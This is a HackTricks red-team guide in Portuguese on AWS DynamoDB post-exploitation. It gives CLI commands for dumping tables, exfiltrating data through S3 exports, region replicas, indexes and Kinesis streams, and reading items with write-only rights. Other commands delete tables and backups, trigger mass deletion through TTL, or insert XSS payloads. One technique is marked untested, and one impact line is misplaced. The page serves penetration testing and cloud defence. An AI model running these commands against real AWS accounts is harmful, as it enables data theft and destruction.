AWS - DynamoDB Post Exploitation

Reading time: 18 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

DynamoDB

Para mais informações, consulte:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

Um atacante com essa permissão poderá obter itens de tabelas pela chave primária (você não pode simplesmente solicitar todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obtê-las consultando os metadados da tabela (describe-table).

bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Impacto Potencial: Indireto privesc ao localizar informações sensíveis na tabela

dynamodb:GetItem

Semelhante às permissões anteriores, esta permite que um potencial atacante leia valores de apenas 1 tabela, dada a chave primária da entrada a ser recuperada:

json
aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Com essa permissão também é possível usar o método transact-get-items como:

json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Impacto potencial: Privesc indireto ao localizar informações sensíveis na tabela

dynamodb:Query

Semelhante às permissões anteriores esta permite que um atacante potencial leia valores de apenas 1 tabela dado a chave primária da entrada a recuperar. Permite usar um subset of comparisons, mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", portanto você não pode usar uma comparação para obter todo o DB em uma requisição.

bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Impacto Potencial: Indirect privesc ao localizar informações sensíveis na tabela

dynamodb:Scan

Você pode usar essa permissão para dump a tabela inteira facilmente.

bash
aws dynamodb scan --table-name <t_name> #Get data inside the table

Impacto Potencial: privesc indireto ao localizar informações sensíveis na tabela

dynamodb:PartiQLSelect

Você pode usar esta permissão para fazer dump de toda a tabela facilmente.

bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Esta permissão também permite executar batch-execute-statement como:

bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

mas você precisa especificar a chave primária com um valor, então não é tão útil.

Impacto Potencial: Privesc indireto ao localizar informações sensíveis na tabela

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Essa permissão permitirá que um atacante exporte a tabela inteira para um bucket S3 de sua escolha:

bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Observe que, para isso funcionar, a tabela precisa ter point-in-time-recovery ativado; você pode verificar se a tabela tem point-in-time-recovery com:

bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>

Se não estiver habilitado, você precisará habilitá-lo e, para isso, precisa da permissão dynamodb:ExportTableToPointInTime:

bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Impacto Potencial: Indirect privesc ao localizar informações sensíveis na tabela

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Com essas permissões, um atacante seria capaz de criar uma nova tabela a partir de um backup (ou até criar um backup para então restaurá-lo em uma tabela diferente). Em seguida, com as permissões necessárias, ele poderia consultar informações dos backups que não estivessem mais na tabela de produção.

bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Impacto potencial: Indirect privesc ao localizar informações sensíveis no backup da tabela

dynamodb:PutItem

Esta permissão permite que usuários adicionem um novo item à tabela ou substituam um item existente por um novo item. Se um item com a mesma chave primária já existir, o item inteiro será substituído pelo novo item. Se a chave primária não existir, um novo item com a chave primária especificada será criado.

bash
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Impacto Potencial: Exploração de vulnerabilidades/bypasses adicionais ao poder adicionar/modificar dados em uma tabela do DynamoDB

dynamodb:UpdateItem

Esta permissão permite que usuários modifiquem os atributos existentes de um item ou adicionem novos atributos a um item. Ela não substitui o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação criará um novo item com a chave primária especificada e definirá os atributos especificados na expressão de atualização.

bash
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

Impacto potencial: Exploração de vulnerabilities/bypasses adicionais por poder adicionar/modificar dados em uma tabela DynamoDB

dynamodb:DeleteTable

Um atacante com essa permissão pode excluir uma tabela DynamoDB, causando perda de dados.

bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Impacto potencial: Perda de dados e interrupção de serviços que dependem da tabela excluída.

dynamodb:DeleteBackup

Um atacante com essa permissão pode excluir um backup do DynamoDB, potencialmente causando perda de dados em um cenário de recuperação de desastres.

bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Impacto potencial: Perda de dados e incapacidade de recuperar a partir de um backup durante um cenário de recuperação de desastre.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

note

TODO: Testar se isto realmente funciona

Um atacante com essas permissões pode ativar um stream em uma tabela DynamoDB, atualizar a tabela para iniciar o streaming de alterações e então acessar o stream para monitorar as alterações na tabela em tempo real. Isso permite que o atacante monitore e exfiltre alterações de dados, potencialmente levando a data leakage.

  1. Ativar um stream em uma tabela DynamoDB:
bash
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Descreva o stream para obter o ARN e outros detalhes:
bash
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Obtenha o shard iterator usando o stream ARN:
bash
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Use o shard iterator para acessar e exfiltrate dados do stream:
bash
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Impacto potencial: Monitoramento em tempo real e vazamento de dados das alterações na tabela DynamoDB.

Ler itens via dynamodb:UpdateItem and ReturnValues=ALL_OLD

Um atacante com apenas dynamodb:UpdateItem em uma tabela pode ler itens sem nenhuma das permissões de leitura usuais (GetItem/Query/Scan) realizando uma atualização inofensiva e solicitando --return-values ALL_OLD. DynamoDB retornará a imagem completa do item antes da atualização no campo Attributes da resposta (isso não consome RCUs).

  • Permissões mínimas: dynamodb:UpdateItem na tabela/chave alvo.
  • Pré-requisitos: Você deve conhecer a chave primária do item.

Exemplo (adiciona um atributo inofensivo e exfiltrates o item anterior na resposta):

bash
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>

A resposta do CLI incluirá um bloco Attributes contendo o item anterior completo (todos os atributos), fornecendo efetivamente uma primitiva de leitura a partir de acesso apenas de escrita.

Impacto Potencial: Ler itens arbitrários de uma tabela com apenas permissões de escrita, permitindo exfiltração de dados sensíveis quando as chaves primárias são conhecidas.

dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica

Exfiltração furtiva ao adicionar uma nova réplica de Região a uma DynamoDB Global Table (versão 2019.11.21). Se um principal puder adicionar uma réplica regional, toda a tabela será replicada para a Região escolhida pelo atacante, de onde o atacante pode ler todos os itens.

bash
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>

# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'

# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>

Permissões: dynamodb:UpdateTable (com replica-updates) ou dynamodb:CreateTableReplica na tabela alvo. Se um CMK for usado na réplica, permissões KMS para essa chave podem ser necessárias.

Impacto Potencial: Replicação da tabela inteira para uma Região controlada por um atacante levando à exfiltração de dados de forma furtiva.

dynamodb:TransactWriteItems (leitura via condição falhada + ReturnValuesOnConditionCheckFailure=ALL_OLD)

Um atacante com privilégios de gravação transacional pode exfiltrar os atributos completos de um item existente realizando um Update dentro de TransactWriteItems que intencionalmente faz falhar uma ConditionExpression enquanto define ReturnValuesOnConditionCheckFailure=ALL_OLD. Em caso de falha, o DynamoDB inclui os atributos anteriores nos motivos de cancelamento da transação, efetivamente transformando acesso apenas de gravação em acesso de leitura das chaves alvo.

bash
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON

# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item

Permissões: dynamodb:TransactWriteItems na tabela alvo (e no item subjacente). Nenhuma permissão de leitura é necessária.

Impacto potencial: Ler itens arbitrários (pela chave primária) de uma tabela usando apenas privilégios de escrita transacional via os motivos de cancelamento retornados.

dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query no Índice Secundário Global (GSI)

Contorne restrições de leitura criando um Global Secondary Index (GSI) com ProjectionType=ALL em um atributo de baixa entropia, definindo esse atributo com um valor constante em todos os itens e então executando Query no índice para recuperar os itens completos. Isso funciona mesmo se Query/Scan na tabela base for negado, desde que você possa consultar o ARN do índice.

  • Permissões mínimas:
  • dynamodb:UpdateTable na tabela alvo (para criar o GSI com ProjectionType=ALL).
  • dynamodb:UpdateItem nas chaves da tabela alvo (para definir o atributo indexado em cada item).
  • dynamodb:Query no ARN do recurso do índice (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).

Etapas (PoC em us-east-1):

bash
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done

# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'

# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done

# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1

Impacto Potencial: Exfiltração completa da tabela consultando um GSI recém-criado que projeta todos os atributos, mesmo quando as APIs de leitura da tabela base são negadas.

dynamodb:EnableKinesisStreamingDestination (Exfiltração contínua via Kinesis Data Streams)

Abusar dos destinos de streaming Kinesis do DynamoDB para exfiltrar continuamente alterações de uma tabela para um Kinesis Data Stream controlado pelo atacante. Uma vez habilitado, todo evento INSERT/MODIFY/REMOVE é encaminhado quase em tempo real para o stream sem necessidade de permissões de leitura na tabela.

Permissões mínimas (atacante):

  • dynamodb:EnableKinesisStreamingDestination na tabela alvo
  • Opcionalmente dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable para monitorar o status
  • Permissões de leitura no Kinesis stream controlado pelo atacante para consumir registros: kinesis:*
PoC (us-east-1)
bash
# 1) Prepare: create a table and seed one item
aws dynamodb create-table --table-name HTXKStream \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item1.json --region us-east-1
# /tmp/htx_item1.json
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}

# 2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1

# 3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
# Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus

# 4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item2.json --region us-east-1
# /tmp/htx_item2.json
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream \
--key file:///tmp/htx_key_a1.json \
--update-expression "SET #i = :v" \
--expression-attribute-names {#i:info} \
--expression-attribute-values {:v:{S:updated}} \
--region us-east-1
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}

# 5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
--query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
# Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .

# 6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true

dynamodb:UpdateTimeToLive

Um atacante com a permissão dynamodb:UpdateTimeToLive pode alterar a configuração de TTL (tempo de expiração) de uma tabela — habilitando ou desabilitando o TTL. Quando o TTL está habilitado, itens individuais que contêm o atributo TTL configurado serão automaticamente excluídos assim que o tempo de expiração for alcançado. O valor TTL é apenas mais um atributo em cada item; itens sem esse atributo não são afetados pela exclusão baseada em TTL.

Se os itens ainda não contiverem o atributo TTL, o atacante também precisaria de uma permissão que atualize itens (por exemplo dynamodb:UpdateItem) para adicionar o atributo TTL e disparar exclusões em massa.

Primeiro habilite o TTL na tabela, especificando o nome do atributo a ser usado para expiração:

bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"

Em seguida, atualize os itens para adicionar o atributo TTL (epoch seconds) para que eles expirem e sejam removidos:

bash
aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'

dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime

Um atacante com as permissões dynamodb:RestoreTableFromAwsBackup ou dynamodb:RestoreTableToPointInTime pode criar novas tabelas restauradas a partir de backups ou de point-in-time recovery (PITR) sem sobrescrever a tabela original. A tabela restaurada contém uma imagem completa dos dados no ponto selecionado, portanto o atacante pode usá-la para exfiltrate informações históricas ou obter um dump completo do estado anterior do banco de dados.

Restore a DynamoDB table from an on-demand backup:

bash
aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>

Restaurar uma tabela do DynamoDB para um ponto no tempo (criar uma nova tabela com o estado restaurado):

bash
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time

Impacto Potencial: Exfiltração contínua, quase em tempo real, das alterações da tabela para um Kinesis stream controlado por um atacante sem operações de leitura diretas na tabela.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks